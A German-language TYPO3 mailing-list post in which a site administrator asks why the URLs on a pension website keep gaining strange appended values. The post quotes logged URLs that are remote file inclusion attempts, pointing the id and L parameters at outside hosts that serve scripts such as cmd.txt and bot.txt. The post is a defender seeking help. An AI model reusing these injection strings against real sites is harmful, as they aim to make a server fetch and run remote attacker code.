[TYPO3-german] URLs werden modifiziert - nur woher?

[Da'oud al-Sahing]

Hallo zusammen!

Bei einer Typo3-Installation werden ind unregelmässigen Abständen die 
generierten URLs um fremde Einträge erweitert. BSP:
- 
http://www.xxxxxxx.ch/index.php?id=7&L=0index.php?id=41/index.php?id=http://www.oaltouruguai.com.br/Fuploads/bot.txt?
- 
http://www.xxxxxxx.ch/index.php?id=6&L=1index.php?id=6/index.php?id=http://www.freewebtown.com/sclipicius/evilx?
- 
http://www.xxxxxxx.ch/index.php?id=6&L=1index.php?id=7/index.php?id=http://2msdance.com/language/cmd.txt?
- 
http://www.xxxxxxx.ch/index.php?id=9&L=1index.php?iid=7/index.php?id=http://evilarmy.hostcentric.com/vop.pid?
- 
http://www.xxxxxxx.ch/index.php?id=9&L=http://m00.laughingllamas.com/fileupload/store/check.txt?
- 
http://www.xxxxxxx.ch/index.php?id=42&L=1index.php?id=7/index.php?id=http://zarafshan.ru/uploads/cmd.txt?

Wie man sieht wurden die Werte einfach an die reguläre Typo3-Url angehängt. 
Die Links verwiesen meist aus nicht existente Dateien, Domains waren auch so 
gut wie nie erreichbar. Ich denke, dass diese Modifikationen deshalb keine 
Wirkung hatten.
Jedoch ist das ganze nicht sehr schön anzuschauen - zumal auf einer 
Rentenwebsite vorhanden.

Kennt jemand solche Probleme? Eventuell mit einer Lösung? Wäre euch riesig 
dankbar!

Gruss,
Da'oud